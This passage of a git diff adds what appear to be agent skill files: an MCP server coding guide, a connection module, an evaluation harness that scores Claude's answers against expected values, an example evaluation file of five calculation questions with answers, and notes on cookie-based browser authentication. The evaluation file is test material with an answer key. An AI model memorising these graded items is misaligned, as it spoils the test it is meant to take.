Include all available fields and metadata +- Use consistent field names and types + +## Pagination Implementation + +For tools that list resources: + +```python +class ListInput(BaseModel): + limit: Optional[int] = Field(default=20, description="Maximum results to return", ge=1, le=100) + offset: Optional[int] = Field(default=0, description="Number of results to skip for pagination", ge=0) + +async def list_items(params: ListInput) -> str: + # Make API request with pagination + data = await api_request(limit=params.limit, offset=params.offset) + + # Return pagination info + response = { + "total": data["total"], + "count": len(data["items"]), + "offset": params.offset, + "items": data["items"], + "has_more": data["total"] > params.offset + len(data["items"]), + "next_offset": params.offset + len(data["items"]) if data["total"] > params.offset + len(data["items"]) else None + } + return json.dumps(response, indent=2) +``` + +## Error Handling + +Provide clear, actionable error messages: + +```python +def _handle_api_error(e: Exception) -> str: + '''Consistent error formatting across all tools.''' + if isinstance(e, httpx.HTTPStatusError): + if e.response.status_code == 404: + return "Error: Resource not found. Please check the ID is correct." + elif e.response.status_code == 403: + return "Error: Permission denied. You don't have access to this resource." + elif e.response.status_code == 429: + return "Error: Rate limit exceeded. Please wait before making more requests." + return f"Error: API request failed with status {e.response.status_code}" + elif isinstance(e, httpx.TimeoutException): + return "Error: Request timed out. Please try again." + return f"Error: Unexpected error occurred: {type(e).__name__}" +``` + +## Shared Utilities + +Extract common functionality into reusable functions: + +```python +# Shared API request function +async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: + '''Reusable function for all API calls.''' + async with httpx.AsyncClient() as client: + response = await client.request( + method, + f"{API_BASE_URL}/{endpoint}", + timeout=30.0, + **kwargs + ) + response.raise_for_status() + return response.json() +``` + +## Async/Await Best Practices + +Always use async/await for network requests and I/O operations: + +```python +# Good: Async network request +async def fetch_data(resource_id: str) -> dict: + async with httpx.AsyncClient() as client: + response = await client.get(f"{API_URL}/resource/{resource_id}") + response.raise_for_status() + return response.json() + +# Bad: Synchronous request +def fetch_data(resource_id: str) -> dict: + response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks + return response.json() +``` + +## Type Hints + +Use type hints throughout: + +```python +from typing import Optional, List, Dict, Any + +async def get_user(user_id: str) -> Dict[str, Any]: + data = await fetch_user(user_id) + return {"id": data["id"], "name": data["name"]} +``` + +## Tool Docstrings + +Every tool must have comprehensive docstrings with explicit type information: + +```python +async def search_users(params: UserSearchInput) -> str: + ''' + Search for users in the Example system by name, email, or team. + + This tool searches across all user profiles in the Example platform, + supporting partial matches and various search filters. It does NOT + create or modify users, only searches existing ones. + + Args: + params (UserSearchInput): Validated input parameters containing: + - query (str): Search string to match against names/emails (e.g., "john", "@example.com", "team:marketing") + - limit (Optional[int]): Maximum results to return, between 1-100 (default: 20) + - offset (Optional[int]): Number of results to skip for pagination (default: 0) + + Returns: + str: JSON-formatted string containing search results with the following schema: + + Success response: + { + "total": int, # Total number of matches found + "count": int, # Number of results in this response + "offset": int, # Current pagination offset + "users": [ + { + "id": str, # User ID (e.g., "U123456789") + "name": str, # Full name (e.g., "John Doe") + "email": str, # Email address (e.g., "john@example.com") + "team": str # Team name (e.g., "Marketing") - optional + } + ] + } + + Error response: + "Error: <error message>" or "No users found matching '<query>'" + + Examples: + - Use when: "Find all marketing team members" -> params with query="team:marketing" + - Use when: "Search for John's account" -> params with query="john" + - Don't use when: You need to create a user (use example_create_user instead) + - Don't use when: You have a user ID and need full details (use example_get_user instead) + + Error Handling: + - Input validation errors are handled by Pydantic model + - Returns "Error: Rate limit exceeded" if too many requests (429 status) + - Returns "Error: Invalid API authentication" if API key is invalid (401 status) + - Returns formatted list of results or "No users found matching 'query'" + ''' +``` + +## Complete Example + +See below for a complete Python MCP server example: + +```python +#!/usr/bin/env python3 +''' +MCP Server for Example Service. + +This server provides tools to interact with Example API, including user search, +project management, and data export capabilities. +''' + +from typing import Optional, List, Dict, Any +from enum import Enum +import httpx +from pydantic import BaseModel, Field, field_validator, ConfigDict +from mcp.server.fastmcp import FastMCP + +# Initialize the MCP server +mcp = FastMCP("example_mcp") + +# Constants +API_BASE_URL = "https://api.example.com/v1" + +# Enums +class ResponseFormat(str, Enum): + '''Output format for tool responses.''' + MARKDOWN = "markdown" + JSON = "json" + +# Pydantic Models for Input Validation +class UserSearchInput(BaseModel): + '''Input model for user search operations.''' + model_config = ConfigDict( + str_strip_whitespace=True, + validate_assignment=True + ) + + query: str = Field(..., description="Search string to match against names/emails", min_length=2, max_length=200) + limit: Optional[int] = Field(default=20, description="Maximum results to return", ge=1, le=100) + offset: Optional[int] = Field(default=0, description="Number of results to skip for pagination", ge=0) + response_format: ResponseFormat = Field(default=ResponseFormat.MARKDOWN, description="Output format") + + @field_validator('query') + @classmethod + def validate_query(cls, v: str) -> str: + if not v.strip(): + raise ValueError("Query cannot be empty or whitespace only") + return v.strip() + +# Shared utility functions +async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: + '''Reusable function for all API calls.''' + async with httpx.AsyncClient() as client: + response = await client.request( + method, + f"{API_BASE_URL}/{endpoint}", + timeout=30.0, + **kwargs + ) + response.raise_for_status() + return response.json() + +def _handle_api_error(e: Exception) -> str: + '''Consistent error formatting across all tools.''' + if isinstance(e, httpx.HTTPStatusError): + if e.response.status_code == 404: + return "Error: Resource not found. Please check the ID is correct." + elif e.response.status_code == 403: + return "Error: Permission denied. You don't have access to this resource." + elif e.response.status_code == 429: + return "Error: Rate limit exceeded. Please wait before making more requests." + return f"Error: API request failed with status {e.response.status_code}" + elif isinstance(e, httpx.TimeoutException): + return "Error: Request timed out. Please try again." + return f"Error: Unexpected error occurred: {type(e).__name__}" + +# Tool definitions +@mcp.tool( + name="example_search_users", + annotations={ + "title": "Search Example Users", + "readOnlyHint": True, + "destructiveHint": False, + "idempotentHint": True, + "openWorldHint": True + } +) +async def example_search_users(params: UserSearchInput) -> str: + '''Search for users in the Example system by name, email, or team. + + [Full docstring as shown above] + ''' + try: + # Make API request using validated parameters + data = await _make_api_request( + "users/search", + params={ + "q": params.query, + "limit": params.limit, + "offset": params.offset + } + ) + + users = data.get("users", []) + total = data.get("total", 0) + + if not users: + return f"No users found matching '{params.query}'" + + # Format response based on requested format + if params.response_format == ResponseFormat.MARKDOWN: + lines = [f"# User Search Results: '{params.query}'", ""] + lines.append(f"Found {total} users (showing {len(users)})") + lines.append("") + + for user in users: + lines.append(f"## {user['name']} ({user['id']})") + lines.append(f"- **Email**: {user['email']}") + if user.get('team'): + lines.append(f"- **Team**: {user['team']}") + lines.append("") + + return "\n".join(lines) + + else: + # Machine-readable JSON format + import json + response = { + "total": total, + "count": len(users), + "offset": params.offset, + "users": users + } + return json.dumps(response, indent=2) + + except Exception as e: + return _handle_api_error(e) + +if __name__ == "__main__": + mcp.run() +``` + +--- + +## Advanced FastMCP Features + +### Context Parameter Injection + +FastMCP can automatically inject a `Context` parameter into tools for advanced capabilities like logging, progress reporting, resource reading, and user interaction: + +```python +from mcp.server.fastmcp import FastMCP, Context + +mcp = FastMCP("example_mcp") + +@mcp.tool() +async def advanced_search(query: str, ctx: Context) -> str: + '''Advanced tool with context access for logging and progress.''' + + # Report progress for long operations + await ctx.report_progress(0.25, "Starting search...") + + # Log information for debugging + await ctx.log_info("Processing query", {"query": query, "timestamp": datetime.now()}) + + # Perform search + results = await search_api(query) + await ctx.report_progress(0.75, "Formatting results...") + + # Access server configuration + server_name = ctx.fastmcp.name + + return format_results(results) + +@mcp.tool() +async def interactive_tool(resource_id: str, ctx: Context) -> str: + '''Tool that can request additional input from users.''' + + # Request sensitive information when needed + api_key = await ctx.elicit( + prompt="Please provide your API key:", + input_type="password" + ) + + # Use the provided key + return await api_call(resource_id, api_key) +``` + +**Context capabilities:** +- `ctx.report_progress(progress, message)` - Report progress for long operations +- `ctx.log_info(message, data)` / `ctx.log_error()` / `ctx.log_debug()` - Logging +- `ctx.elicit(prompt, input_type)` - Request input from users +- `ctx.fastmcp.name` - Access server configuration +- `ctx.read_resource(uri)` - Read MCP resources + +### Resource Registration + +Expose data as resources for efficient, template-based access: + +```python +@mcp.resource("file://documents/{name}") +async def get_document(name: str) -> str: + '''Expose documents as MCP resources. + + Resources are useful for static or semi-static data that doesn't + require complex parameters. They use URI templates for flexible access. + ''' + document_path = f"./docs/{name}" + with open(document_path, "r") as f: + return f.read() + +@mcp.resource("config://settings/{key}") +async def get_setting(key: str, ctx: Context) -> str: + '''Expose configuration as resources with context.''' + settings = await load_settings() + return json.dumps(settings.get(key, {})) +``` + +**When to use Resources vs Tools:** +- **Resources**: For data access with simple parameters (URI templates) +- **Tools**: For complex operations with validation and business logic + +### Structured Output Types + +FastMCP supports multiple return types beyond strings: + +```python +from typing import TypedDict +from dataclasses import dataclass +from pydantic import BaseModel + +# TypedDict for structured returns +class UserData(TypedDict): + id: str + name: str + email: str + +@mcp.tool() +async def get_user_typed(user_id: str) -> UserData: + '''Returns structured data - FastMCP handles serialization.''' + return {"id": user_id, "name": "John Doe", "email": "john@example.com"} + +# Pydantic models for complex validation +class DetailedUser(BaseModel): + id: str + name: str + email: str + created_at: datetime + metadata: Dict[str, Any] + +@mcp.tool() +async def get_user_detailed(user_id: str) -> DetailedUser: + '''Returns Pydantic model - automatically generates schema.''' + user = await fetch_user(user_id) + return DetailedUser(**user) +``` + +### Lifespan Management + +Initialize resources that persist across requests: + +```python +from contextlib import asynccontextmanager + +@asynccontextmanager +async def app_lifespan(): + '''Manage resources that live for the server's lifetime.''' + # Initialize connections, load config, etc. + db = await connect_to_database() + config = load_configuration() + + # Make available to all tools + yield {"db": db, "config": config} + + # Cleanup on shutdown + await db.close() + +mcp = FastMCP("example_mcp", lifespan=app_lifespan) + +@mcp.tool() +async def query_data(query: str, ctx: Context) -> str: + '''Access lifespan resources through context.''' + db = ctx.request_context.lifespan_state["db"] + results = await db.query(query) + return format_results(results) +``` + +### Transport Options + +FastMCP supports two main transport mechanisms: + +```python +# stdio transport (for local tools) - default +if __name__ == "__main__": + mcp.run() + +# Streamable HTTP transport (for remote servers) +if __name__ == "__main__": + mcp.run(transport="streamable_http", port=8000) +``` + +**Transport selection:** +- **stdio**: Command-line tools, local integrations, subprocess execution +- **Streamable HTTP**: Web services, remote access, multiple clients + +--- + +## Code Best Practices + +### Code Composability and Reusability + +Your implementation MUST prioritize composability and code reuse: + +1. **Extract Common Functionality**: + - Create reusable helper functions for operations used across multiple tools + - Build shared API clients for HTTP requests instead of duplicating code + - Centralize error handling logic in utility functions + - Extract business logic into dedicated functions that can be composed + - Extract shared markdown or JSON field selection & formatting functionality + +2. **Avoid Duplication**: + - NEVER copy-paste similar code between tools + - If you find yourself writing similar logic twice, extract it into a function + - Common operations like pagination, filtering, field selection, and formatting should be shared + - Authentication/authorization logic should be centralized + +### Python-Specific Best Practices + +1. **Use Type Hints**: Always include type annotations for function parameters and return values +2. **Pydantic Models**: Define clear Pydantic models for all input validation +3. **Avoid Manual Validation**: Let Pydantic handle input validation with constraints +4. **Proper Imports**: Group imports (standard library, third-party, local) +5. **Error Handling**: Use specific exception types (httpx.HTTPStatusError, not generic Exception) +6. **Async Context Managers**: Use `async with` for resources that need cleanup +7. **Constants**: Define module-level constants in UPPER_CASE + +## Quality Checklist + +Before finalizing your Python MCP server implementation, ensure: + +### Strategic Design +- [ ] Tools enable complete workflows, not just API endpoint wrappers +- [ ] Tool names reflect natural task subdivisions +- [ ] Response formats optimize for agent context efficiency +- [ ] Human-readable identifiers used where appropriate +- [ ] Error messages guide agents toward correct usage + +### Implementation Quality +- [ ] FOCUSED IMPLEMENTATION: Most important and valuable tools implemented +- [ ] All tools have descriptive names and documentation +- [ ] Return types are consistent across similar operations +- [ ] Error handling is implemented for all external calls +- [ ] Server name follows format: `{service}_mcp` +- [ ] All network operations use async/await +- [ ] Common functionality is extracted into reusable functions +- [ ] Error messages are clear, actionable, and educational +- [ ] Outputs are properly validated and formatted + +### Tool Configuration +- [ ] All tools implement 'name' and 'annotations' in the decorator +- [ ] Annotations correctly set (readOnlyHint, destructiveHint, idempotentHint, openWorldHint) +- [ ] All tools use Pydantic BaseModel for input validation with Field() definitions +- [ ] All Pydantic Fields have explicit types and descriptions with constraints +- [ ] All tools have comprehensive docstrings with explicit input/output types +- [ ] Docstrings include complete schema structure for dict/JSON returns +- [ ] Pydantic models handle input validation (no manual validation needed) + +### Advanced Features (where applicable) +- [ ] Context injection used for logging, progress, or elicitation +- [ ] Resources registered for appropriate data endpoints +- [ ] Lifespan management implemented for persistent connections +- [ ] Structured output types used (TypedDict, Pydantic models) +- [ ] Appropriate transport configured (stdio or streamable HTTP) + +### Code Quality +- [ ] File includes proper imports including Pydantic imports +- [ ] Pagination is properly implemented where applicable +- [ ] Filtering options are provided for potentially large result sets +- [ ] All async functions are properly defined with `async def` +- [ ] HTTP client usage follows async patterns with proper context managers +- [ ] Type hints are used throughout the code +- [ ] Constants are defined at module level in UPPER_CASE + +### Testing +- [ ] Server runs successfully: `python your_server.py --help` +- [ ] All imports resolve correctly +- [ ] Sample tool calls work as expected +- [ ] Error scenarios handled gracefully \ No newline at end of file diff --git a/skills/mcp-builder/scripts/connections.py b/skills/mcp-builder/scripts/connections.py new file mode 100644 index 00000000..ffcd0da3 --- /dev/null +++ b/skills/mcp-builder/scripts/connections.py @@ -0,0 +1,151 @@ +"""Lightweight connection handling for MCP servers.""" + +from abc import ABC, abstractmethod +from contextlib import AsyncExitStack +from typing import Any + +from mcp import ClientSession, StdioServerParameters +from mcp.client.sse import sse_client +from mcp.client.stdio import stdio_client +from mcp.client.streamable_http import streamablehttp_client + + +class MCPConnection(ABC): + """Base class for MCP server connections.""" + + def __init__(self): + self.session = None + self._stack = None + + @abstractmethod + def _create_context(self): + """Create the connection context based on connection type.""" + + async def __aenter__(self): + """Initialize MCP server connection.""" + self._stack = AsyncExitStack() + await self._stack.__aenter__() + + try: + ctx = self._create_context() + result = await self._stack.enter_async_context(ctx) + + if len(result) == 2: + read, write = result + elif len(result) == 3: + read, write, _ = result + else: + raise ValueError(f"Unexpected context result: {result}") + + session_ctx = ClientSession(read, write) + self.session = await self._stack.enter_async_context(session_ctx) + await self.session.initialize() + return self + except BaseException: + await self._stack.__aexit__(None, None, None) + raise + + async def __aexit__(self, exc_type, exc_val, exc_tb): + """Clean up MCP server connection resources.""" + if self._stack: + await self._stack.__aexit__(exc_type, exc_val, exc_tb) + self.session = None + self._stack = None + + async def list_tools(self) -> list[dict[str, Any]]: + """Retrieve available tools from the MCP server.""" + response = await self.session.list_tools() + return [ + { + "name": tool.name, + "description": tool.description, + "input_schema": tool.inputSchema, + } + for tool in response.tools + ] + + async def call_tool(self, tool_name: str, arguments: dict[str, Any]) -> Any: + """Call a tool on the MCP server with provided arguments.""" + result = await self.session.call_tool(tool_name, arguments=arguments) + return result.content + + +class MCPConnectionStdio(MCPConnection): + """MCP connection using standard input/output.""" + + def __init__(self, command: str, args: list[str] = None, env: dict[str, str] = None): + super().__init__() + self.command = command + self.args = args or [] + self.env = env + + def _create_context(self): + return stdio_client( + StdioServerParameters(command=self.command, args=self.args, env=self.env) + ) + + +class MCPConnectionSSE(MCPConnection): + """MCP connection using Server-Sent Events.""" + + def __init__(self, url: str, headers: dict[str, str] = None): + super().__init__() + self.url = url + self.headers = headers or {} + + def _create_context(self): + return sse_client(url=self.url, headers=self.headers) + + +class MCPConnectionHTTP(MCPConnection): + """MCP connection using Streamable HTTP.""" + + def __init__(self, url: str, headers: dict[str, str] = None): + super().__init__() + self.url = url + self.headers = headers or {} + + def _create_context(self): + return streamablehttp_client(url=self.url, headers=self.headers) + + +def create_connection( + transport: str, + command: str = None, + args: list[str] = None, + env: dict[str, str] = None, + url: str = None, + headers: dict[str, str] = None, +) -> MCPConnection: + """Factory function to create the appropriate MCP connection. + + Args: + transport: Connection type ("stdio", "sse", or "http") + command: Command to run (stdio only) + args: Command arguments (stdio only) + env: Environment variables (stdio only) + url: Server URL (sse and http only) + headers: HTTP headers (sse and http only) + + Returns: + MCPConnection instance + """ + transport = transport.lower() + + if transport == "stdio": + if not command: + raise ValueError("Command is required for stdio transport") + return MCPConnectionStdio(command=command, args=args, env=env) + + elif transport == "sse": + if not url: + raise ValueError("URL is required for sse transport") + return MCPConnectionSSE(url=url, headers=headers) + + elif transport in ["http", "streamable_http", "streamable-http"]: + if not url: + raise ValueError("URL is required for http transport") + return MCPConnectionHTTP(url=url, headers=headers) + + else: + raise ValueError(f"Unsupported transport type: {transport}. Use 'stdio', 'sse', or 'http'") diff --git a/skills/mcp-builder/scripts/evaluation.py b/skills/mcp-builder/scripts/evaluation.py new file mode 100644 index 00000000..41778569 --- /dev/null +++ b/skills/mcp-builder/scripts/evaluation.py @@ -0,0 +1,373 @@ +"""MCP Server Evaluation Harness + +This script evaluates MCP servers by running test questions against them using Claude. +""" + +import argparse +import asyncio +import json +import re +import sys +import time +import traceback +import xml.etree.ElementTree as ET +from pathlib import Path +from typing import Any + +from anthropic import Anthropic + +from connections import create_connection + +EVALUATION_PROMPT = """You are an AI assistant with access to tools. + +When given a task, you MUST: +1. Use the available tools to complete the task +2. Provide summary of each step in your approach, wrapped in <summary> tags +3. Provide feedback on the tools provided, wrapped in <feedback> tags +4. Provide your final response, wrapped in <response> tags + +Summary Requirements: +- In your <summary> tags, you must explain: + - The steps you took to complete the task + - Which tools you used, in what order, and why + - The inputs you provided to each tool + - The outputs you received from each tool + - A summary for how you arrived at the response + +Feedback Requirements: +- In your <feedback> tags, provide constructive feedback on the tools: + - Comment on tool names: Are they clear and descriptive? + - Comment on input parameters: Are they well-documented? Are required vs optional parameters clear? + - Comment on descriptions: Do they accurately describe what the tool does? + - Comment on any errors encountered during tool usage: Did the tool fail to execute? Did the tool return too many tokens? + - Identify specific areas for improvement and explain WHY they would help + - Be specific and actionable in your suggestions + +Response Requirements: +- Your response should be concise and directly address what was asked +- Always wrap your final response in <response> tags +- If you cannot solve the task return <response>NOT_FOUND</response> +- For numeric responses, provide just the number +- For IDs, provide just the ID +- For names or text, provide the exact text requested +- Your response should go last""" + + +def parse_evaluation_file(file_path: Path) -> list[dict[str, Any]]: + """Parse XML evaluation file with qa_pair elements.""" + try: + tree = ET.parse(file_path) + root = tree.getroot() + evaluations = [] + + for qa_pair in root.findall(".//qa_pair"): + question_elem = qa_pair.find("question") + answer_elem = qa_pair.find("answer") + + if question_elem is not None and answer_elem is not None: + evaluations.append({ + "question": (question_elem.text or "").strip(), + "answer": (answer_elem.text or "").strip(), + }) + + return evaluations + except Exception as e: + print(f"Error parsing evaluation file {file_path}: {e}") + return [] + + +def extract_xml_content(text: str, tag: str) -> str | None: + """Extract content from XML tags.""" + pattern = rf"<{tag}>(.*?)</{tag}>" + matches = re.findall(pattern, text, re.DOTALL) + return matches[-1].strip() if matches else None + + +async def agent_loop( + client: Anthropic, + model: str, + question: str, + tools: list[dict[str, Any]], + connection: Any, +) -> tuple[str, dict[str, Any]]: + """Run the agent loop with MCP tools.""" + messages = [{"role": "user", "content": question}] + + response = await asyncio.to_thread( + client.messages.create, + model=model, + max_tokens=4096, + system=EVALUATION_PROMPT, + messages=messages, + tools=tools, + ) + + messages.append({"role": "assistant", "content": response.content}) + + tool_metrics = {} + + while response.stop_reason == "tool_use": + tool_use = next(block for block in response.content if block.type == "tool_use") + tool_name = tool_use.name + tool_input = tool_use.input + + tool_start_ts = time.time() + try: + tool_result = await connection.call_tool(tool_name, tool_input) + tool_response = json.dumps(tool_result) if isinstance(tool_result, (dict, list)) else str(tool_result) + except Exception as e: + tool_response = f"Error executing tool {tool_name}: {str(e)}\n" + tool_response += traceback.format_exc() + tool_duration = time.time() - tool_start_ts + + if tool_name not in tool_metrics: + tool_metrics[tool_name] = {"count": 0, "durations": []} + tool_metrics[tool_name]["count"] += 1 + tool_metrics[tool_name]["durations"].append(tool_duration) + + messages.append({ + "role": "user", + "content": [{ + "type": "tool_result", + "tool_use_id": tool_use.id, + "content": tool_response, + }] + }) + + response = await asyncio.to_thread( + client.messages.create, + model=model, + max_tokens=4096, + system=EVALUATION_PROMPT, + messages=messages, + tools=tools, + ) + messages.append({"role": "assistant", "content": response.content}) + + response_text = next( + (block.text for block in response.content if hasattr(block, "text")), + None, + ) + return response_text, tool_metrics + + +async def evaluate_single_task( + client: Anthropic, + model: str, + qa_pair: dict[str, Any], + tools: list[dict[str, Any]], + connection: Any, + task_index: int, +) -> dict[str, Any]: + """Evaluate a single QA pair with the given tools.""" + start_time = time.time() + + print(f"Task {task_index + 1}: Running task with question: {qa_pair['question']}") + response, tool_metrics = await agent_loop(client, model, qa_pair["question"], tools, connection) + + response_value = extract_xml_content(response, "response") + summary = extract_xml_content(response, "summary") + feedback = extract_xml_content(response, "feedback") + + duration_seconds = time.time() - start_time + + return { + "question": qa_pair["question"], + "expected": qa_pair["answer"], + "actual": response_value, + "score": int(response_value == qa_pair["answer"]) if response_value else 0, + "total_duration": duration_seconds, + "tool_calls": tool_metrics, + "num_tool_calls": sum(len(metrics["durations"]) for metrics in tool_metrics.values()), + "summary": summary, + "feedback": feedback, + } + + +REPORT_HEADER = """ +# Evaluation Report + +## Summary + +- **Accuracy**: {correct}/{total} ({accuracy:.1f}%) +- **Average Task Duration**: {average_duration_s:.2f}s +- **Average Tool Calls per Task**: {average_tool_calls:.2f} +- **Total Tool Calls**: {total_tool_calls} + +--- +""" + +TASK_TEMPLATE = """ +### Task {task_num} + +**Question**: {question} +**Ground Truth Answer**: `{expected_answer}` +**Actual Answer**: `{actual_answer}` +**Correct**: {correct_indicator} +**Duration**: {total_duration:.2f}s +**Tool Calls**: {tool_calls} + +**Summary** +{summary} + +**Feedback** +{feedback} + +--- +""" + + +async def run_evaluation( + eval_path: Path, + connection: Any, + model: str = "claude-3-7-sonnet-20250219", +) -> str: + """Run evaluation with MCP server tools.""" + print("🚀 Starting Evaluation") + + client = Anthropic() + + tools = await connection.list_tools() + print(f"📋 Loaded {len(tools)} tools from MCP server") + + qa_pairs = parse_evaluation_file(eval_path) + print(f"📋 Loaded {len(qa_pairs)} evaluation tasks") + + results = [] + for i, qa_pair in enumerate(qa_pairs): + print(f"Processing task {i + 1}/{len(qa_pairs)}") + result = await evaluate_single_task(client, model, qa_pair, tools, connection, i) + results.append(result) + + correct = sum(r["score"] for r in results) + accuracy = (correct / len(results)) * 100 if results else 0 + average_duration_s = sum(r["total_duration"] for r in results) / len(results) if results else 0 + average_tool_calls = sum(r["num_tool_calls"] for r in results) / len(results) if results else 0 + total_tool_calls = sum(r["num_tool_calls"] for r in results) + + report = REPORT_HEADER.format( + correct=correct, + total=len(results), + accuracy=accuracy, + average_duration_s=average_duration_s, + average_tool_calls=average_tool_calls, + total_tool_calls=total_tool_calls, + ) + + report += "".join([ + TASK_TEMPLATE.format( + task_num=i + 1, + question=qa_pair["question"], + expected_answer=qa_pair["answer"], + actual_answer=result["actual"] or "N/A", + correct_indicator="✅" if result["score"] else "❌", + total_duration=result["total_duration"], + tool_calls=json.dumps(result["tool_calls"], indent=2), + summary=result["summary"] or "N/A", + feedback=result["feedback"] or "N/A", + ) + for i, (qa_pair, result) in enumerate(zip(qa_pairs, results)) + ]) + + return report + + +def parse_headers(header_list: list[str]) -> dict[str, str]: + """Parse header strings in format 'Key: Value' into a dictionary.""" + headers = {} + if not header_list: + return headers + + for header in header_list: + if ":" in header: + key, value = header.split(":", 1) + headers[key.strip()] = value.strip() + else: + print(f"Warning: Ignoring malformed header: {header}") + return headers + + +def parse_env_vars(env_list: list[str]) -> dict[str, str]: + """Parse environment variable strings in format 'KEY=VALUE' into a dictionary.""" + env = {} + if not env_list: + return env + + for env_var in env_list: + if "=" in env_var: + key, value = env_var.split("=", 1) + env[key.strip()] = value.strip() + else: + print(f"Warning: Ignoring malformed environment variable: {env_var}") + return env + + +async def main(): + parser = argparse.ArgumentParser( + description="Evaluate MCP servers using test questions", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + # Evaluate a local stdio MCP server + python evaluation.py -t stdio -c python -a my_server.py eval.xml + + # Evaluate an SSE MCP server + python evaluation.py -t sse -u https://example.com/mcp -H "Authorization: Bearer token" eval.xml + + # Evaluate an HTTP MCP server with custom model + python evaluation.py -t http -u https://example.com/mcp -m claude-3-5-sonnet-20241022 eval.xml + """, + ) + + parser.add_argument("eval_file", type=Path, help="Path to evaluation XML file") + parser.add_argument("-t", "--transport", choices=["stdio", "sse", "http"], default="stdio", help="Transport type (default: stdio)") + parser.add_argument("-m", "--model", default="claude-3-7-sonnet-20250219", help="Claude model to use (default: claude-3-7-sonnet-20250219)") + + stdio_group = parser.add_argument_group("stdio options") + stdio_group.add_argument("-c", "--command", help="Command to run MCP server (stdio only)") + stdio_group.add_argument("-a", "--args", nargs="+", help="Arguments for the command (stdio only)") + stdio_group.add_argument("-e", "--env", nargs="+", help="Environment variables in KEY=VALUE format (stdio only)") + + remote_group = parser.add_argument_group("sse/http options") + remote_group.add_argument("-u", "--url", help="MCP server URL (sse/http only)") + remote_group.add_argument("-H", "--header", nargs="+", dest="headers", help="HTTP headers in 'Key: Value' format (sse/http only)") + + parser.add_argument("-o", "--output", type=Path, help="Output file for evaluation report (default: stdout)") + + args = parser.parse_args() + + if not args.eval_file.exists(): + print(f"Error: Evaluation file not found: {args.eval_file}") + sys.exit(1) + + headers = parse_headers(args.headers) if args.headers else None + env_vars = parse_env_vars(args.env) if args.env else None + + try: + connection = create_connection( + transport=args.transport, + command=args.command, + args=args.args, + env=env_vars, + url=args.url, + headers=headers, + ) + except ValueError as e: + print(f"Error: {e}") + sys.exit(1) + + print(f"🔗 Connecting to MCP server via {args.transport}...") + + async with connection: + print("✅ Connected successfully") + report = await run_evaluation(args.eval_file, connection, args.model) + + if args.output: + args.output.write_text(report) + print(f"\n✅ Report saved to {args.output}") + else: + print("\n" + report) + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/skills/mcp-builder/scripts/example_evaluation.xml b/skills/mcp-builder/scripts/example_evaluation.xml new file mode 100644 index 00000000..41e4459b --- /dev/null +++ b/skills/mcp-builder/scripts/example_evaluation.xml @@ -0,0 +1,22 @@ +<evaluation> + <qa_pair> + <question>Calculate the compound interest on $10,000 invested at 5% annual interest rate, compounded monthly for 3 years. What is the final amount in dollars (rounded to 2 decimal places)?</question> + <answer>11614.72</answer> + </qa_pair> + <qa_pair> + <question>A projectile is launched at a 45-degree angle with an initial velocity of 50 m/s. Calculate the total distance (in meters) it has traveled from the launch point after 2 seconds, assuming g=9.8 m/s². Round to 2 decimal places.</question> + <answer>87.25</answer> + </qa_pair> + <qa_pair> + <question>A sphere has a volume of 500 cubic meters. Calculate its surface area in square meters. Round to 2 decimal places.</question> + <answer>304.65</answer> + </qa_pair> + <qa_pair> + <question>Calculate the population standard deviation of this dataset: [12, 15, 18, 22, 25, 30, 35]. Round to 2 decimal places.</question> + <answer>7.61</answer> + </qa_pair> + <qa_pair> + <question>Calculate the pH of a solution with a hydrogen ion concentration of 3.5 × 10^-5 M. Round to 2 decimal places.</question> + <answer>4.46</answer> + </qa_pair> +</evaluation> diff --git a/skills/mcp-builder/scripts/requirements.txt b/skills/mcp-builder/scripts/requirements.txt new file mode 100644 index 00000000..e73e5d1e --- /dev/null +++ b/skills/mcp-builder/scripts/requirements.txt @@ -0,0 +1,2 @@ +anthropic>=0.39.0 +mcp>=1.1.0 diff --git a/skills/notebooklm/.gitignore b/skills/notebooklm/.gitignore new file mode 100755 index 00000000..4d7e1c36 --- /dev/null +++ b/skills/notebooklm/.gitignore @@ -0,0 +1,74 @@ +# Virtual Environment +.venv/ +venv/ +env/ +*.venv + +# Skill Data (NEVER commit - contains auth and personal notebooks!) +data/ +data/* +data/**/* + +# Claude-specific +.claude/ +*.claude + +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +scripts/__pycache__/ +scripts/*.pyc + +# Environment +.env +*.env +.env.* + +# Browser/Auth state (if accidentally placed outside data/) +browser_state/ +auth/ +auth_info.json +library.json +notebooks.json +state.json +cookies.json + +# IDE +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# OS +.DS_Store +.DS_Store? +._* +Thumbs.db +desktop.ini +ehthumbs.db + +# Logs +*.log +logs/ +*.debug + +# Backups +*.backup +*.bak +*.tmp +*.temp + +# Test artifacts +.coverage +htmlcov/ +.pytest_cache/ +.tox/ + +# Package artifacts +dist/ +build/ +*.egg-info/ \ No newline at end of file diff --git a/skills/notebooklm/AUTHENTICATION.md b/skills/notebooklm/AUTHENTICATION.md new file mode 100755 index 00000000..5d9de88a --- /dev/null +++ b/skills/notebooklm/AUTHENTICATION.md @@ -0,0 +1,154 @@ +# Authentication Architecture + +## Overview + +This skill uses a **hybrid authentication approach** that combines the best of both worlds: + +1. **Persistent Browser Profile** (`user_data_dir`) for consistent browser fingerprinting +2. **Manual Cookie Injection** from `state.json` for reliable session cookie persistence + +## Why This Approach? + +### The Problem + +Playwright/Patchright has a known bug ([#36139](https://github.com/microsoft/playwright/issues/36139)) where **session cookies** (cookies without an `Expires` attribute) do not persist correctly when using `launch_persistent_context()` with `user_data_dir`. + +**What happens:** +- ✅ Persistent cookies (with `Expires` date) → Saved correctly to browser profile +- ❌ Session cookies (without `Expires`) → **Lost after browser restarts** + +**Impact:** +- Some Google auth cookies are session cookies +- Users experience random authentication failures +- "Works on my machine" syndrome (depends on which cookies Google uses) + +### TypeScript vs Python + +The **MCP Server** (TypeScript) can work around this by passing `storage_state` as a parameter: + +```typescript +// TypeScript - works! +const context = await chromium.launchPersistentContext(userDataDir, { + storageState: "state.json", // ← Loads cookies including session cookies + channel: "chrome" +}); +``` + +But **Python's Playwright API doesn't support this** ([#14949](https://github.com/microsoft/playwright/issues/14949)): + +```python +# Python - NOT SUPPORTED! +context = playwright.chromium.launch_persistent_context( + user_data_dir=profile_dir, + storage_state="state.json", # ← Parameter not available in Python! + channel="chrome" +) 